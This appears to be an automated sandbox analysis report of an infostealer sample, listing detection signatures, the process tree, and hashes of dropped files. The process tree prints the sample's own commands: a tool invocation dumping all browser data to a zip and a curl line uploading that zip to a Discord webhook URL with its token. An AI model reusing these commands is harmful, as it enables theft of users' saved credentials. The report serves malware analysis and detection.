Analysis

  • max time kernel
    149s
  • max time network
    138s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    07/06/2026, 07:08

General

  • Target
    2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe
  • Size 5.5MB
  • Sample260607-hyfe7sbt2n
  • SHA256 29c961505c5b9fa98c19d0184a707e10d2a656ee656f28f8efb95addf31b3ca8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: HackBrowserData

    An open source golang web browser extractor.

  • An open source browser data exporter written in golang. 1 IoCs
  • Custom signature
    Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5304
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\runner.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Users\Admin\AppData\Local\Temp\~26403\stil.exe
        stil.exe -b all -f json --dir data --zip
        3⤵
        • Executes dropped EXE
        PID:5888
      • C:\Windows\system32\curl.exe
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\~26403\data\data.zip" https://discord.com/api/webhooks/1496200211486478378/2uB6CKW7GasADM_C7k8ztU8IcIE3TLkXPrsibUiHl16sICbNKuPl24qsVXHOOZ3d4EQx
        3⤵
          PID:5880
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Blosm.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Blosm.exe"
          3⤵
          • Executes dropped EXE
          PID:948

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          Blosm.exe

          • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Blosm.exe
          • Size 2.5MB
          • SHA256 7a8e7cef1750091581cdc42077ece15ae80dd70e2bad5eb5f47e9bed02d4270e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          runner.bat

          • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\runner.bat
          • Size 796B
          • SHA256 369f85aecd73422d53df38e59b2d78da012fbe2d74594bc1f0a88810ed26c837
          • MD5 SHA1 SHA512 TLSH

          stil.exe

          • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\stil.exe
          • Size 9.3MB
          • SHA256 e28e65b42f2596dc34c9845728e4ee6884d3e42b20397a9c4fcbe8cd63f8c193
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CURRENT.6

          • Path C:\Users\Admin\AppData\Local\Temp\Session Storage_8.temp\CURRENT.6
          • Size 16B
          • SHA256 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
          • MD5 SHA1 SHA512

          CURRENT.bak

          • Path C:\Users\Admin\AppData\Local\Temp\Session Storage_8.temp\CURRENT.bak
          • Size 16B
          • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
          • MD5 SHA1 SHA512

          MANIFEST-000001

          • Path C:\Users\Admin\AppData\Local\Temp\Session Storage_8.temp\MANIFEST-000001
          • Size 41B
          • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
          • MD5 SHA1 SHA512

          debug_log.txt

          • Path C:\Users\Admin\AppData\Local\Temp\debug_log.txt
          • Size 86B
          • SHA256 33af8de77c924c644fb5d1fe0c7efc9bd760129ba13533ed67dcef819c264d7d
          • MD5 SHA1 SHA512 TLSH

          data.zip

          • Path C:\Users\Admin\AppData\Local\Temp\~26403\data\data.zip
          • Size 3KB
          • SHA256 3ae0dd0832ff9d97a97ae993e812702f2bc62d3cbe9ff2700c8f39d99748be05
          • MD5 SHA1 SHA512 TLSH